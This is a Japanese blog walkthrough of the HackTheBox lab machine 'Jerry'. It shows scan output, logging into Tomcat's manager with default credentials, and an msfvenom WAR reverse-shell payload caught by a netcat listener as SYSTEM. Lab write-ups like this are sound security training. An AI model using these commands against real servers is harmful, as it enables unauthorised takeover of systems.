HackTheBoxのJerryというマシーンの攻略を備忘録として記載していきます。
間違っているところもあると思いますがご了承ください。
下記は私が作成したペネトレーションテストのチートシートとなっております、ご興味があればみてみてください。
Information Gathering
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan 10.10.10.95
PORT | SERVICE | VERSION |
---|---|---|
8080 | HTTP | Apache Tomcat/Coyote JSP engine 1.1 |
Nmap scan report for 10.10.10.95
Host is up (0.29s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
Warning: OSScan results may be unreliable because we could not find at least 1 open
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2012|2008|7|Vista (91%)
OS CPE: cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2008a::- cpe:/o:microsoft:windows_vista::sp1
Aggressive OS guesses: Microsoft Windows Server 2012 or Windows Server 2012 R2 (91%)ndows Server 2008 R2 SP1 or Windows 8 (85%), Microsoft Windows 7 SP1 or Windows Serv (85%), Microsoft Windows 7 Professional (85%), Microsoft Windows Server 2008 R2 (85
No exact OS matches for host (test conditions non-ideal).
OS and Service detection performed. Please report any incorrect results at https://n
8080番ポートでTomcatサーバが起動していることがわかります。
ここでgobuster
を使用してディレクトリーを列挙します。
gobuster dir -u http://10.10.10.95:8080 -w /usr/share/wordlists/dirb/common.txt -t 100
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.95:8080
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2021/02/01 08:55:31 Starting gobuster
===============================================================
/aux (Status: 200)
/com3 (Status: 200)
/com2 (Status: 200)
/com1 (Status: 200)
/con (Status: 200)
/docs (Status: 302)
/examples (Status: 302)
/favicon.ico (Status: 200)
/host-manager (Status: 302)
/lpt1 (Status: 200)
/lpt2 (Status: 200)
/manager (Status: 302)
/nul (Status: 200)
/prn (Status: 200)
===============================================================
2021/02/01 08:55:40 Finished
===============================================================
結果の中に/manegerというディレクトリにアクセスするとBasic認証があることがわかりました。
Tomcatのデフォルトパスワードを調べると下記GithubにUsernameとPasswordのセットがありました。
ひとつずつ試した結果、UsernameとPasswordのセットは下記ということがわかりました。
Username | Password |
---|---|
tomcat | s3cret |
manager/htmlではwarファイルがアップロードできるようです。
Exploit
warファイルがアップロードできるようなので、リバースシェルをwarファイルで作成しアップロードを行います。
まずは、リバースシェルの作成を行います。
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4444 -f war > shell.war
kali@kali:~/Documents/Jerry$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4444 -f war > shell.war
Payload size: 1083 bytes
Final size of war file: 1083 bytes
先ほど、作成したリバースシェルをアップロードします。
アップロードは無事に完了しApplication
の一覧にアップロードした/shellが存在することがわかります。
リバースシェルを実行する前にnetcatでリバースシェルを待ち受けます。
/shellをクリックするとリバースシェルが実行され、nt authority\system
で接続することができました。
kali@kali:~/Documents/Jerry$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.95] 49203
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system
C:\apache-tomcat-7.0.88>
免責事項
本記事は情報セキュリティにおける攻撃の理解、防衛のスキル向上を目的としたセキュリティに関する内容がございます。本記事の内容を使用し発生した如何なる損害や損失について、当記事作成者は一切の責任を負いません。
本記事の内容を実際に使用して、第三者の個人や組織などを攻撃した場合は
法律により罰せられる可能性がありので、必ず自身が所有している環境のみを
対象とし、他人や組織が所有している環境は決して対象としないようお願いします。